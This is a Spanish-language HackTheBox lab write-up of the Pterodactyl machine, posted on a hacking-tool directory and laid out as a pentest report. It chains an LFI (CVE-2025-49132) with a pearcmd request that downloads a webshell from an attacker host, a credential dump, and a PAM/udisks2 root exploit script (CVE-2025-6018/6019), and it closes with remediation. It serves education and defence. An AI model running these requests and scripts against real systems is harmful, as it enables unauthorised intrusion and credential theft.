Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HTB-Pterodactyl-Writeup — HackTheBox — Walkthrough de Pterodactyl (Medium/Linux). CVE-2025-49132 LFI → pearcmd RCE → crackeo de bcrypt → SSH. Escalada de privilegios vía CVE-2025-6018 (bypass de pam_environment en PAM) + CVE-2025-6019 (condición de carrera en resize de XFS de udisks2, bypass de nosuid) → root. Incluye notas completas y pasos. | Kitploit
Herramientas/GitHubGitHub/v0idw1re/htb-pterodactyl-writeup
Descifrado de ContraseñasEscalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPost-ExplotaciónCTF

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Pruebas de Penetración
Aprendizaje y Educación
Labs y Práctica
GitHubv0idw1re/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

Ver Repositorio
hace 4 mesesAún no revisado

Acerca de

HackTheBox — Walkthrough de Pterodactyl (Medium/Linux). CVE-2025-49132 LFI → pearcmd RCE → crackeo de bcrypt → SSH. Escalada de privilegios vía CVE-2025-6018 (bypass de pam_environment en PAM) + CVE-2025-6019 (condición de carrera en resize de XFS de udisks2, bypass de nosuid) → root. Incluye notas completas y pasos.

Compartir

Informe de Prueba de Penetración — HackTheBox: Pterodactyl

Fecha: 8 de abril de 2026
Objetivo: Pterodactyl (HackTheBox)
Dificultad: Media
SO: Linux (openSUSE Leap 15.6)
Evaluador: V0idW1re


Resumen Ejecutivo

La máquina Pterodactyl en HackTheBox presentó un escenario de ataque realista que involucraba una aplicación web mal configurada y vulnerabilidades de escalada de privilegios encadenadas. Partiendo desde una posición no autenticada, el evaluador logró un compromiso total de root a través de una secuencia lógica de pasos de explotación. La cadena de ataque incluyó una vulnerabilidad de Inclusión de Archivos Locales no autenticada, el uso creativo de un gestor de paquetes PHP para ejecución remota de código, extracción y descifrado de credenciales, y finalmente el encadenamiento de dos CVEs divulgados públicamente para escalar desde un usuario con pocos privilegios hasta root.


Alcance

CampoValor
IP objetivo10.129.25.223
Nombre de hostpterodactyl.htb
SOopenSUSE Leap 15.6
ServiciosSSH (22), HTTP (80)
Subdominiospanel.pterodactyl.htb

Metodología

La evaluación siguió una metodología estándar de pruebas de penetración:

  1. Reconocimiento y Enumeración de Servicios
  2. Análisis de Aplicaciones Web
  3. Explotación Inicial
  4. Post-Explotación y Movimiento Lateral
  5. Escalada de Privilegios
  6. Prueba de Compromiso

Hallazgos

Hallazgo 1 — Inclusión de Archivos Locales no Autenticada (CVE-2025-49132)

Gravedad: Crítica
Componente: Panel Pterodactyl v1.11.10 — endpoint /locales/locale.json

Descripción:
El endpoint de locale del Panel Pterodactyl no sanitizaba los parámetros de consulta locale y namespace, permitiendo el salto de directorios. Debido a que la aplicación añadía .php al valor de namespace y lo cargaba mediante el mecanismo include de PHP, un atacante podía forzar al servidor a cargar y ejecutar archivos PHP arbitrarios en el sistema de archivos.

Exploit:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database

Impacto:
Se extrajeron las credenciales de la base de datos de config/database.php:

  • Usuario: pterodactyl
  • Contraseña: PteraPanel
  • Base de datos: panel

También se extrajo la clave de la aplicación Laravel de config/app.php.

Evidencia:

root@kitploit:~
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}

Hallazgo 2 — Ejecución Remota de Código mediante pearcmd.php

Gravedad: Crítica
Componente: Instalación de PHP PEAR + LFI

Descripción:
Con la primitiva LFI establecida, el evaluador aprovechó el script pearcmd.php del gestor de paquetes PEAR. Cuando la configuración de PHP tiene register_argc_argv=On (confirmado mediante phpinfo), la cadena de consulta es interpretada como argumentos de línea de comandos por pearcmd. Se utilizó el comando download para obtener un webshell PHP desde el servidor del atacante y guardarlo en el directorio web público del panel.

Exploit:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php

Impacto:
Se escribió un webshell PHP en /var/www/pterodactyl/public/shell.php, proporcionando ejecución remota de código no autenticada como el usuario wwwrun.

Evidencia:

root@kitploit:~
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)

Hallazgo 3 — Credenciales de Base de Datos en Texto Claro y Almacenamiento Débil de Contraseñas

Gravedad: Alta
Componente: Base de datos panel de MySQL

Descripción:
Usando el shell RCE, el evaluador se conectó a la base de datos MySQL utilizando las credenciales obtenidas mediante LFI. La tabla users contenía contraseñas con hash bcrypt para todos los usuarios del panel. El hash del usuario phileasfogg3 fue descifrado offline usando una lista de palabras común.

Exploit:

root@kitploit:~
SELECT username, password FROM users;

Credencial Descifrada:

  • Usuario: phileasfogg3
  • Contraseña: !QAZ2wsx

Impacto:
Se obtuvo acceso SSH como phileasfogg3 y se capturó la flag de usuario:

root@kitploit:~
user.txt: 916235b4261e70fdb090402c641a7808

Hallazgo 4 — Bypass de Privilegios mediante Variables de Entorno PAM (CVE-2025-6018)

Gravedad: Alta
Componente: Configuración PAM — pam_env.so con user_readenv=1

Descripción:
La configuración PAM en openSUSE Leap 15.6 lee el archivo ~/.pam_environment del usuario a través de pam_env.so con user_readenv=1. Al establecer variables de entorno específicas en este archivo, un usuario SSH sin privilegios puede engañar a systemd-logind y Polkit para que consideren la sesión como una sesión de consola física activa, obteniendo así privilegios allow_active.

Exploit:

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

Después de reconectarse vía SSH, la sesión fue reconocida como Active=yes, habilitando llamadas sin privilegios a métodos D-Bus de udisks2 que normalmente requieren presencia en consola física.

Evidencia:

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# Sin solicitud de autenticación

Hallazgo 5 — Condición de Carrera en Redimensionamiento XFS de udisks2 (CVE-2025-6019)

Gravedad: Crítica
Componente: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize

Descripción:
Cuando udisks2 redimensiona un sistema de archivos XFS mediante libblockdev, monta temporalmente la imagen del sistema de archivos en un directorio accesible mundialmente bajo /tmp/blockdev.* sin las banderas de montaje nosuid y nodev. Esto crea una breve ventana de condición de carrera durante la cual cualquier binario SUID presente en la imagen puede ejecutarse con UID efectivo elevado.

Un atacante con privilegios allow_active de Polkit (obtenidos mediante CVE-2025-6018) puede:

  1. Crear una imagen XFS que contenga un binario bash SUID propiedad de root
  2. Configurar un dispositivo de bucle mediante udisksctl loop-setup
  3. Desencadenar el redimensionamiento a través de D-Bus
  4. Competir para ejecutar el binario SUID durante la ventana de montaje temporal sin nosuid

Nota crítica sobre la compatibilidad de la imagen XFS:
La imagen XFS debe crearse con banderas específicas para openSUSE Leap 15.6 (SP5/SP6):

root@kitploit:~
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

Exploit:

root@kitploit:~
# Construir imagen XFS maliciosa (en la máquina del atacante)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt

# En el objetivo — competir por la ventana de redimensionamiento
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
    /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
    /org/freedesktop/UDisks2/block_devices/loop0 \
    org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0

Evidencia:

root@kitploit:~
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Flag de Root:

root@kitploit:~
root.txt: d3a242011c18cb81f08ad80337330641

Prueba de Acceso

FlagValor
user.txt916235b4261e70fdb090402c641a7808
root.txtd3a242011c18cb81f08ad80337330641

Resumen de la Escalada de Privilegios

root@kitploit:~
[No autenticado]
    ↓ CVE-2025-49132 (LFI)
[Credenciales de base de datos]
    ↓ pearcmd RCE
[Shell wwwrun]
    ↓ Volcado de credenciales MySQL + descifrado de hash
[SSH phileasfogg3]
    ↓ CVE-2025-6018 (bypass PAM → allow_active)
    ↓ CVE-2025-6019 (carrera de redimensionamiento udisks2 XFS)
[root]

Impacto

Compromiso total del sistema objetivo. Un atacante con este nivel de acceso podría:

  • Leer, modificar o eliminar todos los archivos del sistema
  • Instalar puertas traseras o malware persistentes
  • Moverse lateralmente a otros sistemas en la red
  • Acceder a todas las credenciales almacenadas y datos sensibles
  • Interrumpir o manipular servicios alojados

Remedio


Este informe fue producido con fines educativos como parte de un ejercicio de laboratorio de HackTheBox. Todas las pruebas se realizaron en un entorno de laboratorio legal y aislado.

Descargar herramienta
HallazgoRemedio
CVE-2025-49132 (LFI)Actualizar el Panel Pterodactyl a v1.11.11 o superior, que aplica validación alfanumérica estricta en los parámetros locale/namespace
RCE por pearcmdEstablecer register_argc_argv=Off en php.ini; eliminar PEAR si no es necesario
Contraseña débilAplicar políticas de contraseñas fuertes; usar un gestor de contraseñas
CVE-2025-6018 (PAM)Establecer user_readenv=0 en la configuración PAM para pam_env.so
CVE-2025-6019 (udisks2)Actualizar udisks2 y libblockdev a versiones parcheadas; modificar la regla de Polkit para org.freedesktop.udisks2.modify-device cambiando allow_active de yes a auth_admin